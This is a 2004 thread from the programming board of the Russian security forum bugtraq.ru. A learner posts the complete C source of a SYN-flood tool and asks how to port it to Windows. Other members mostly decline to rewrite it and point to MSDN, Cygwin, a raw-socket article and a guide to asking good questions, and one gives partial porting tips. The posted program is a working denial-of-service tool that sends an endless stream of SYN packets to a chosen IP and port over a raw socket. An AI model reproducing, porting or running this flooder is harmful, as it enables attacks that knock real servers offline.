информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Атака на InternetЗа кого нас держат?Сетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
 Зловреды выбирают Lisp и Delphi 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
Ну переводить твой код не буду ;), Вообще я не уверен что в... 15.03.04 12:52  Число просмотров: 1553
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Ну переводить твой код не буду ;), Вообще я не уверен что в виндах есть RAW_TCP, а вот RAW_IP имеется начиная с 2000х. Вот тебе ссылка. Все что там описано - работает ;)
http://pinegap.net/infosurge/infosurge-20.txt
<programming>
Помогите портировать код из Unix в Windows 12.03.04 22:28   [leo, Ktirf, amirul, vaborg]
Автор: choor Статус: Elderman
<"чистая" ссылка>
Продолжаю изучать Си. Вот помогите разобраться как этот код:
/*
 *                                                
 * synflood.c - description:               
 * programm: SYN-Flooder                   
 * version: 0.1                            
 * author: VIsir (visir@p0is0n.net)        
 *                                         
 * (c)Net Poison [www.p0is0n.net] Network Parasites
 *                                                
 */
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/tcp.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])
{
	int sock;
	struct sockaddr_in sin;
	struct tcphdr tcph;
	
	if(argc != 3) {
		printf("Usage: %s <ip> <port>\n", argv[0]);
		return 0;
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atoi(argv[2]));
	
	if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
	    perror("socket()");
	    return 0;
	}

	bzero(&tcph, sizeof(tcph));	
#ifdef_linux_	tcph.dest = sin.sin_port;
	tcph.doff = sizeof(tcph) >> 2;
	tcph.syn = 1;
	tcph.window = htons(65535);
#else
	tcph.th_dport = sin.sin_port;
	tcph.th_off = sizeof(tcph) >> 2;
	tcph.th_flags = TH_SYN;
	tcph.th_win = htons(65535);
#endif

	printf("Flooding %s:%d\n", inet_ntoa(sin.sin_addr),
						ntohs(sin.sin_port));

	while(1) {
	int sport, seq;
#ifdef_linux_		tcph.source = htons(sport);
		tcph.seq = htonl(seq);
#else
		tcph.th_sport = htons(sport);
		tcph.th_seq = htonl(seq);
#endif
		seq += 31337;
		sport -= 13572;
		if(sendto(sock, &tcph, sizeof(tcph), 0,
			    (struct sockaddr*)&sin, sizeof(sin)) == -1) {
		    perror("sendto()");
		    return 0;
		}
		printf(".");
		fflush(stdout);
	}
	close(sock);
}
 

---
Перенести в Windows.
Примного благодарен, если ещё и коментарии будут :)
Человек, писавший эту программу сказал 16.03.04 07:15  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Изменить инклуды на:

#define WIN32_LEAN_AND_BEAM
#include<windows.h>
#include<winsock.h>

И добавить функцию:

int WSAStartup (
WORD wVersionRequested,
LPWSADATA lpWSAData
);
Мало и не совсем то. 16.03.04 15:52  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Изменить инклуды на:
>
> #define WIN32_LEAN_AND_BEAM
Гы, он WIN32_LEAN_AND_MEAN, вообще-то :) Вообще говоря, по фигу. Этот макрос всего лишь отключает редко используемый код в библиотеках, чтобы компилятор его зря не жевал. Точно можно сказать, что простенький клиент на сокетах этот код не использует, так что да, можно поставить :) Возможно, оно будет у тебя компиляться на пару десятых секунды быстрее :)

> #include<windows.h>
> #include<winsock.h>
>
> И добавить функцию:
>
> int WSAStartup (
> WORD wVersionRequested,
> LPWSADATA lpWSAData
> );

Это не все. Я, конечно, понимаю, что на виндах с сокетами через int работать - это круто, но я бы все-таки тип SOCKET использовал. И еще некоторое количество таких же фишек, в частности, с проверками ошибок.
Все понятно ктоме одного -- какова мораль? :) 16.03.04 11:26  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
:) 16.03.04 14:36  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Получилось, что никто не знает, как быстро и комфортно перенести этот код :) кроме того кто писал этот код %)
Программисты блин %))
Не. Никто не захотел помочь. 16.03.04 16:00  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
Ага, и даже он сказал не все.

> Программисты блин %))
Могу лишь ответить - учащийся C блин %-)

На Реймонда ссылку дать?
Давай :) 16.03.04 18:57  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Она, в общем-то, вверху страницы все время висит. Не обижайся, если что. 16.03.04 19:48  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>


Как правильно задавать вопросы
О! и я не сразу въехал :))))))) именна это и нужно :) 16.03.04 20:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
мая ни согласная!!! :) 16.03.04 15:36  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
> Программисты блин %))
Люди смотрели с общих позиций на впорос,
никто и не собиралсяя запускать именно этот листинг :)
ты бы еще кусок ядра положил с вопросом как запустить под мастдаем :)))
Ну мне конкретно нужен был этот код :) 16.03.04 15:46  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Я знаю, почему никто не захотел 16.03.04 18:01  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Ты забыл написать: "Живо, мля!!!" :-)
Ну не захотел никто переписывать для тебя этот код. В MSDN-е про сокеты все прекрасно расписано. Я там даже про Nagle алгоритм и прочие прелести TCP/IP понаходил.

Ну не ответили и все. Зачем обижаться-то. А тем более высказывать сомнения в компетенции. Думаю если ты предложишь мне или тому же Ktirf-у пару зеленых президентов. Короче. Все сказано у Реймонда: http://www.bugtraq.ru/forum/faq/general/smart-questions.html
Если ты не показал, что ты и сам работал над этим вопросом, а просто придешь и скажешь: напишите мне и побыстрее, тебя скорее всего проигнорируют
Да я ни на кого не обиделся :) 16.03.04 18:17  
Автор: choor Статус: Elderman
Отредактировано 16.03.04 18:22  Количество правок: 1
<"чистая" ссылка>
Да я ни на кого не обиделся :)
Наоборот спасибо, что помогли :)
мая опять ни согласная :))) 16.03.04 19:34  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
читаем первый пост!!! :)
------помогите разобраться!!!! :)------------
каждый сказал все что знал по поводу портирования
а вот разбираться в нем надо было самому :)) вообщем
каков вопрос таков и ответ ничего тут удивительного :)))
Ну переводить твой код не буду ;), Вообще я не уверен что в... 15.03.04 12:52  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Ну переводить твой код не буду ;), Вообще я не уверен что в виндах есть RAW_TCP, а вот RAW_IP имеется начиная с 2000х. Вот тебе ссылка. Все что там описано - работает ;)
http://pinegap.net/infosurge/infosurge-20.txt
Cygwin 15.03.04 11:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
врятли кто то будет тебе переносить твой код :)
если надо запустить то субж может помочь
а вообще говоря портирование весчь нетривиальная
могу тока предложить придерживаться POSIXа :)) тогда по идее все запуститься без проблем :)
пример 15.03.04 16:49  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
нашел пример который может понять как и куда переносится
смотри исходники sylpheed для линуха и вин32
читай доку к ним и думай :)
Пожалуйста :) 13.03.04 23:25  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Ну хорошо, давай я тебе перечислю места, которые нужно изменить. Я скорее всего что-то забуду. Тебе это поможет в изучении C?
Вот тебе кусок кода (через Яндекс найденный, между прочим), методом сравнения попробуй понять, что тебе нужно изменить. И почитай MSDN по работе с сокетами, если уж неохота в бумажные книжки лезть.
Заглянув по ссылке, ты поймешь, что комментарии к твоему вопросу писать - на брошюрку хватит. У Снейдера все по крайней мере систематично изложено.
Берешь Йона Снейдера и читаешь. 13.03.04 15:12  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Спасибо за очень конструктивный и позновательный ответ! 13.03.04 17:59  
Автор: choor Статус: Elderman
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach